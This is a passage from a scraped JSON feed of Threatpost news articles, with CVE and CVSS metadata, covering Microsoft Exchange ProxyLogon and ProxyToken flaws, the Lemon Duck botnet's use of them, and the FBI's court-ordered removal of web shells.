\u201cpatching is not sufficient.\u201d\n\n\u201cWe know that multiple adversaries have compromised networks prior to patches being applied Wales said during a [Cipher Brief webinar](<https://cybernews.com/news/patched-microsoft-exchange-servers-give-a-false-sense-of-security-says-cisas-brandon-wales/>). He added, \u201cYou should not have a false sense of security. You should fully understand the risk. In this case, how to identify whether your system is already compromised, how to remediate it, and whether you should bring in a third party if you are not capable of doing that.\u201d\n\n## **How Businesses Can Protect Against ProxyLogon**\n\nYonatan Amitay, Security Researcher at Vulcan Cyber, told Threatpost that a successful response to mitigate Microsoft Exchange vulnerabilities should consist of the following steps:\n\n * Deploy updates to affected Exchange Servers.\n * Investigate for exploitation or indicators of persistence.\n * Remediate any identified exploitation or persistence and investigate your environment for indicators of lateral movement or further compromise.\n\n\u201cIf for some reason you cannot update your Exchange servers immediately, Microsoft has released instructions for how to mitigate these vulnerabilities through reconfiguration \u2014 here, as they recognize that applying the latest patches to Exchange servers may take time and planning, especially if organizations are not on recent versions and/or associated cumulative and security patches,\u201d he said. \u201cNote that the mitigations suggested are not substitutes for installing the updates.\u201d\n\nMicrosoft also has issued a one-click mitigation and remediation tool for small- and medium-sized businesses in light of the ongoing swells of attacks.\n\nVectra\u2019s Tavakoli noted that the mitigation guides and tools Microsoft has supplied don\u2019t necessarily help post-compromise \u2013 they are intended to provide mitigation in advance of fully patching the Exchange server.\n\n\u201cThe end result of a compromise is reflective of the M.O. of each attack group, and that will be far more variable and less amenable to automated cleanup,\u201d he said.\n\nMilan Patel, global head of MSS for BlueVoyant, said that identifying follow-on malicious activity after the bad guys have gotten access to a network requires a good inventory of where data is housed.\n\n\u201cIncident response is a critical reactive tool that will help address what data could have been touched or stolen by the bad guys after they gained access to the critical systems,\u201d he told Threatpost. \u201cThis is critical, this could mean the difference between a small cleanup effort vs. potential litigation because sensitive data was stolen from the network.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-24T18:39:26", "type": "threatpost", "title": "Microsoft Exchange Servers See ProxyLogon Patching Frenzy", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-24T18:39:26", "id": "THREATPOST:BADA213290027D414693E838771F8645", "href": "https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-30T18:54:34", "description": "A serious security vulnerability in Microsoft Exchange Server that researchers have dubbed ProxyToken could allow an unauthenticated attacker to access and steal emails from a target\u2019s mailbox.\n\nMicrosoft Exchange uses two websites; one, the front end, is what users connect to in order to access email. The second is a back-end site that handles the authentication function.\n\n\u201cThe front-end website is mostly just a proxy to the back end. To allow access that requires forms authentication, the front end serves pages such as /owa/auth/logon.aspx,\u201d according to a [Monday posting](<https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server>) on the bug from Trend Micro\u2019s Zero Day Initiative. \u201cFor all post-authentication requests, the front end\u2019s main role is to repackage the requests and proxy them to corresponding endpoints on the Exchange Back End site. It then collects the responses from the back end and forwards them to the client.\u201d\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe issue arises specifically in a feature called \u201cDelegated Authentication,\u201d where the front end passes authentication requests directly to the back end. These requests contain a SecurityToken cookie that identify them; i.e., if the front end finds a non-empty cookie named SecurityToken, it delegates authentication to the back end. However, Exchange has to be specifically configured to have the back end perform the authentication checks; in a default configuration, the module responsible for that (the \u201cDelegatedAuthModule\u201d) isn\u2019t loaded.\n\n\u201cWhen the front end sees the SecurityToken cookie, it knows that the back end alone is responsible for authenticating this request,\u201d according to ZDI. \u201cMeanwhile, the back end is completely unaware that it needs to authenticate some incoming requests based upon the SecurityToken cookie, since the DelegatedAuthModule is not loaded in installations that have not been configured to use the special delegated authentication feature. The net result is that requests can sail through, without being subjected to authentication on either the front or back end.\u201d\n\nFrom there, attacker could install a forwarding rule allowing them to read the victim\u2019s incoming mail.\n\n\u201cWith this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users,\u201d according to the post. \u201cAs an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker.\u201d\n\nZDI outlined an exploitation scenario wherein an attacker has an account on the same Exchange server as the victim. However, if an administrator permits forwarding rules having arbitrary internet destinations, no Exchange credentials are needed at all, researchers noted.\n\nThe bug ([CVE-2021-33766](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766>)) was reported to the Zero Day Initiative by researcher Le Xuan Tuyen of VNPT ISC, and it was patched by Microsoft in the July Exchange cumulative updates. Organizations should update their products to avoid compromise.\n\nThe ProxyToken revelation comes after [the disclosure of](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) ProxyLogon in early March; that\u2019s an exploit chain comprised of four Exchange flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065), which together create a pre-authentication remote code execution (RCE) exploit. Attackers can take over unpatched servers without knowing any valid account credentials, giving them access to email communications and the opportunity to install a web shell for further exploitation within the environment. ProxyLogon was weaponized in [wide-scale attacks](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) throughout the spring.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-30T17:31:06", "type": "threatpost", "title": "Microsoft Exchange 'ProxyToken' Bug Allows Email Snooping", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-33766"], "modified": "2021-08-30T17:31:06", "id": "THREATPOST:9AF5E0BBCEF3F8F871ED50F3A8A604A9", "href": "https://threatpost.com/microsoft-exchange-proxytoken-email/169030/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-11T06:29:15", "description": "The Lemon Duck cryptocurrency-mining botnet has added the [ProxyLogon group of exploits](<https://threatpost.com/fbi-proxylogon-web-shells/165400/>) to its bag of tricks, targeting Microsoft Exchange servers.\n\nThat\u2019s according to researchers at Cisco Talos, who said that the cybercrime group behind Lemon Duck has also added the Cobalt Strike attack framework into its malware toolkit and has beefed up anti-detection capabilities. On the latter front, it\u2019s using fake domains on East Asian top-level domains (TLDs) to hide command-and-control (C2) infrastructure.\n\n[](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\n\nJoin Threatpost for \u201c[Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)\u201d a LIVE roundtable event on Wednesday, May 12 at 2:00 PM EDT for this FREE webinar sponsored by Zoho ManageEngine.\n\nLemon Duck targets victims\u2019 computer resources to mine the Monero virtual currency, with self-propagating capabilities and a modular framework that allows it to infect additional systems that become part of the botnet. It has been active since at least the end of December 2018, and Cisco Talos calls it \u201cone of the more complex\u201d mining botnets, with several interesting tricks up its sleeve.\n\nFor instance, Lemon Duck has at least 12 different initial-infection vectors \u2013 more than most malware, with Proxylogon exploits only the latest addition. Its existing capabilities ranged from Server Message Block (SMB) and Remote Desktop Protocol (RDP) password brute-forcing; targeting the RDP BlueKeep flaw (CVE-2019-0708) in Windows machines; [targeting internet-of-things devices](<https://threatpost.com/lemon-duck-malware-targets-iot/152596/>) with weak or default passwords; and exploiting vulnerabilities in Redis (an open-source, in-memory data structure store used as a database, cache and message broker) and YARN Hadoop (a resource-management and job-scheduling technology) in Linux machines.\n\n\u201cSince April 2021, Cisco Talos has observed updated infrastructure and new components associated with the Lemon Duck that target unpatched Microsoft Exchange Servers and attempt to download and execute payloads for Cobalt Strike DNS beacons,\u201d according to [an analysis](<https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html>) released Friday.\n\nCisco Talos researchers [previously observed](<https://threatpost.com/lemon-duck-cryptocurrency-botnet/160046/>) an increase in DNS requests connected with Lemon Duck\u2019s C2 and mining servers last August, with the attacks mainly targeting Egypt, India, Iran, the Philippines and Vietnam. In the latest rash of attacks, which began in April, the group has changed up its geographic targets to focus primarily on North America, followed by Europe and Southeast Asia, and a handful of victims in Africa and South America.\n\n## **Targeting Exchange Servers with Monero-Mining**\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the deployment of ransomware.\n\nThe highly publicized exploit chain suffered a barrage of attacks from advanced persistent threat (APT) groups to infect systems with everything from ransomware to info-stealers, and now financially motivated groups are getting in on the action too.\n\nIn Lemon Duck\u2019s case, once the Exchange servers are compromised, it executes various system commands using the Windows Control Manager (sc.exe), including copying two .ASPX files named \u201cwanlins.aspx\u201d and \u201cwanlin.aspx.\u201d\n\n\u201cThese files are likely web shells and were copied from C:\\inetpub\\wwwroot\\aspnet_client\\, a known directory where a majority of the web shells were initially observed following Microsoft\u2019s release of details related to Hafnium activity,\u201d according to the research.\n\nNext, Cisco Talos researchers observed the echo command being used to write code associated with a web shell into the previously created ASPX files, and the modification of the Windows registry to enable RDP access to the system.\n\n\u201cIn this case, several characteristics matched portions of code associated with known China Chopper variants identified days after the Exchange Server vulnerabilities were publicized,\u201d they noted.\n\nOther interesting aspects of the latest campaign include the fact that Lemon Duck executes a PowerShell script that downloads and executes an additional malware payload, \u201csyspstem.dat,\u201d which includes a \u201ckiller\u201d module which contains a hardcoded list of competing cryptocurrency miners that Lemon Duck disables. The module is run every 50 minutes.\n\nAlso, the malware is now leveraging Certutil to download and execute two new malicious PowerShell scripts, researchers said. Certutil is a native Windows command-line program that is installed as part of Certificate Services. It is used to verify and dump Certificate Authority (CA) information, get and publish new certificate revocation lists, and so on.\n\nOne of the PowerShell scripts, named \u201cdn.ps1,\u201d attempts to uninstall multiple antivirus products, and also retrieves a Cobalt Strike payload.\n\n## **Cobalt Strike Added to the Mix**\n\n[Cobalt Strike is a penetration-testing tool](<https://threatpost.com/cobalt-ulster-strikes-again-with-new-forelord-malware/153418/>) that\u2019s commercially available. It sends out beacons to detect network vulnerabilities. When used for its intended purpose, it [simulates an attack](<https://www.cobaltstrike.com/features>). Threat actors have since figured out how to [turn it against networks](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to exfiltrate data, deliver malware and create fake C2 profiles that look legitimate and avoid detection.\n\nLemon Duck\u2019s Cobalt Strike payload is configured as a Windows DNS beacon and attempts to communicate with the C2 server using a DNS-based covert channel, researchers noted. The beacon then communicates with this specific subdomain to transmit encoded data via DNS A record query requests.\n\n\u201cThis represents a new TTP for Lemon Duck, and is another example of their reliance [on offensive security tools (OSTs)](<https://threatpost.com/malicious-software-infrastructure-easier-deploy/162913/>), including Powersploit\u2019s reflective loader and a modified Mimikatz, which are already included as additional modules and components of Lemon Duck and used throughout the typical attack lifecycle,\u201d according to Cisco Talos.\n\n## **Lemon Duck\u2019s Fresh Anti-Detection Tricks**\n\nWhile Lemon Duck casts a wide net in terms of victimology, it has been exclusively using websites within the TLDs for China (\u201c.cn\u201d), Japan (\u201c.jp\u201d) and South Korea (\u201c.kr\u201d) for its C2 activities since February, rather than the more familiar \u201c.com\u201d or \u201c.net.\u201d\n\n\u201cConsidering these [TLDs] are most commonly used for websites in their respective countries and languages\u2026this may allow the threat actor to more effectively hide C2 communications among other web traffic present in victim environments,\u201d according to Cisco Talos. \u201cDue to the prevalence of domains using these [TLDs], web traffic to the domains\u2026may be more easily attributed as noise to victims within these countries.\u201d\n\nDuring the Lemon Duck infection process, PowerShell is used to invoke the \u201cGetHostAddresses\u201d method from the .NET runtime class \u201cNet.Dns\u201d to obtain the current IP address for an attacker-controlled domain, researchers explained.\n\n\u201cThis IP address is combined with a fake hostname hardcoded into the PowerShell command and written as an entry to the Windows hosts file,\u201d they said. \u201cThis mechanism allows name resolution to continue even if DNS-based security controls are later deployed, as the translation is now recorded locally and future resolution requests no longer rely upon upstream infrastructure such as DNS servers. This may allow the adversary to achieve longer-term persistence once operational in victim environments.\u201d\n\n## **Cryptojackers Take Notice of ProxyLogon**\n\nLemon Duck is not the first cryptomining malware to add ProxyLogon to its arsenal. For instance, another cryptojacking group [was seen in mid-April](<https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/>) doing the same thing.\n\nThat bad code was fairly simple, but also in mid-April a heretofore little-seen Monero-mining botnet [dubbed Prometei](<https://threatpost.com/prometei-botnet-apt-attacks/165574/>) began exploiting two of the Microsoft Exchange vulnerabilities in ProxyLogon. This malware is also highly complex and sophisticated, Cybereason researchers noted at the time. While cryptojacking is its current game, researchers warned that Prometei (the Russian word for Prometheus, the Titan god of fire from Greek mythology) gives attackers complete control over infected machines, which makes it capable of doing a wide range of damage.\n\nThe threat will likely continue to evolve, Cisco Talos researchers said. They also observed domains linked to Lemon Duck and another cryptocurrency miner, DLTMiner, used in relation to Microsoft Exchange attacks where ransomware was also deployed.\n\n\u201cAt this time, there doesn\u2019t appear to be a link between the Lemon Duck components observed there and the reported ransomware (TeslaRVNG2),\u201d according to the analysis. \u201cThis suggests that given the nature of the vulnerabilities targeted, we are likely to continue to observe a range of malicious activities in parallel, using similar exploitation techniques and infection vectors to compromise systems. In some cases, attackers may take advantage of artifacts left in place from prior compromises, making distinction more difficult.\u201d\n\nMeanwhile, it\u2019s clear that the threat actor behind Lemon Duck is continuously evolving its approach to maximize the ability to achieve its mission objectives, researchers noted.\n\n\u201cLemon Duck continues to launch campaigns against systems around the world, attempting to leverage infected systems to mine cryptocurrency and generate revenue for the adversary behind this botnet,\u201d they concluded. \u201cThe use of new tools like Cobalt Strike, as well as the implementation of additional obfuscation techniques throughout the attack lifecycle, may enable them to operate more effectively for longer periods within victim environments. \u2026 Organizations should remain vigilant against this threat, as it will likely continue to evolve.\u201d\n\n**Join Threatpost for \u201c**[**Fortifying Your Business Against Ransomware, DDoS & Cryptojacking Attacks**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**\u201d \u2013 a LIVE roundtable event on**[** Wed, May 12 at 2:00 PM EDT**](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinarhttps://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>)**. Sponsored by Zoho ManageEngine, Threatpost host Becky Bracken moderates an expert panel discussing best defense strategies for these 2021 threats. Questions and LIVE audience participation encouraged. Join the lively discussion and [Register HERE](<https://threatpost.com/webinars/fortifying-your-business-against-attacks/?utm_source=ART&utm_medium=ART&utm_campaign=May_Zoho_Webinar>) for free. **\n", "cvss3": {}, "published": "2021-05-10T17:37:44", "type": "threatpost", "title": "Lemon Duck Cryptojacking Botnet Changes Up Tactics", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0708", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-05-10T17:37:44", "id": "THREATPOST:1084DB580B431A6B8428C25B78E05C88", "href": "https://threatpost.com/lemon-duck-cryptojacking-botnet-tactics/165986/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-04-15T09:53:19", "description": "The Feds have cleared malicious web shells from hundreds of vulnerable computers in the United States that had been compromised via the now-infamous ProxyLogon Microsoft Exchange vulnerabilities.\n\nProxyLogon comprises a group of security bugs affecting on-premises versions of Microsoft Exchange Server software for email. Microsoft last month warned that the bugs were being [actively exploited](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) by the Hafnium advanced persistent threat (APT); after that, other researchers said that [10 or more additional APTs](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) were also using them.\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment, such as the [deployment of ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>).\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWhile patching levels have accelerated, this doesn\u2019t help already-compromised computers.\n\n\u201cMany infected system owners successfully removed the web shells from thousands of computers,\u201d explained the Department of Justice, in a [Tuesday announcement](<https://www.justice.gov/usao-sdtx/pr/justice-department-announces-court-authorized-effort-disrupt-exploitation-microsoft>). \u201cOthers appeared unable to do so, and hundreds of such web shells persisted unmitigated.\u201d\n\nThis state of affairs prompted the FBI to take action; in a court-authorized action, it issued a series of commands through the web shells to the affected servers. The commands were designed to cause the server to delete only the web shells (identified by their unique file path). It didn\u2019t notify affected organizations ahead of time, but authorities said they\u2019re sending out notices now.\n\n\u201cToday\u2019s court-authorized removal of the malicious web shells demonstrates the Department\u2019s commitment to disrupt hacking activity using all of our legal tools, not just prosecutions,\u201d said Assistant Attorney General John Demers for the DoJ\u2019s National Security Division, in the statement.\n\n## **Unilateral FBI Action Against ProxyLogon Exploits**\n\nOther technical details of the action are being kept under wraps, but Erkang Zheng, founder and CEO at JupiterOne, noted that the action is unprecedented.\n\n\u201cWhat makes this really interesting is the court ordered remote remediation of vulnerable systems,\u201d he said via email. \u201cThis is the first time that this has happened and with this as a precedent, it likely won\u2019t be the last. Many enterprises today have no idea what their infrastructure and security state looks like \u2013 visibility is a huge problem for CISOs.\u201d\n\nDirk Schrader, global vice president of security research at New Net Technologies, noted that the FBI\u2019s lack of transparency could be problematic.\n\n\u201cThere are a few critical issues in this,\u201d he told Threatpost. \u201cOne is the FBI stating the action was because these victims lack the technical ability to clear their infrastructure themselves, another is that it seems the FBI intends to delay informing the victims about the removal itself by at least a month, citing ongoing investigations as a reason.\u201d\n\nHe explained, \u201cThis can cause other issues, as the victims have no chance to investigate what kind of information has been accessed, whether additional backdoors where installed, and a range of other concerns come with this approach.\u201d\n\nMonti Knode, director of customer and partner success at Horizon3.AI, noted that the action illuminates just how dangerous the bugs are.\n\n\u201cGovernment action is always predicated by an authority to act,\u201d he said via email. \u201cBy specifically calling out \u2018protected computers\u2019 and declaring them \u2018damaged\u2019, that appears to have been enough to give the FBI a signed warrant to execute such an operation without notifying victims ahead of the operation execution. While the scale of the operation is unknown (redacted in court order), the fact that the FBI was able to execute in less than four days, and then publicly release this effort, demonstrates the potential national security risk posed by these exploited systems and the prioritized planning involved. This isn\u2019t a knee-jerk reaction.\u201d\n\nThis operation was successful in copying and removing the web shells, the FBI reported. However, organizations still need to patch if they haven\u2019t yet done so.\n\n\u201cCombined with the private sector\u2019s and other government agencies\u2019 efforts to date, including the release of detection tools and patches, we are together showing the strength that public-private partnership brings to our country\u2019s cybersecurity,\u201d Denmers said. \u201cThere\u2019s no doubt that more work remains to be done, but let there also be no doubt that the Department is committed to playing its integral and necessary role in such efforts.\u201d\n\n## New Exchange RCE Bugs and a Federal Warning\n\nThe news comes on the heels of [April Patch Tuesday](<https://threatpost.com/microsoft-april-patch-tuesday-zero-days/165393/>), in which Microsoft revealed more RCE vulnerabilities in Exchange (CVE-2021-28480 through CVE-2021-28483), which were discovered and reported by the National Security Agency. A [mandate to federal agencies](<https://cyber.dhs.gov/ed/21-02/#supplemental-direction-v2>) to patch them by Friday also went out.\n\nImmersive Labs\u2019 Kevin Breen, director of cyber-threat research, warned that weaponization of these may come faster than usual, since motivated attackers will be able to use existing concept code.\n\n\u201cThis underlines the criticality of cybersecurity now to entire nations, as well as the continued blurring of the lines between nation-states, intelligence services and enterprise security,\u201d he added via email. \u201cWith a number of high-profile attacks affecting well-used enterprise software recently, the NSA are obviously keen to step up and play a proactive role.\u201d\n\n**_Ever wonder what goes on in underground cybercrime for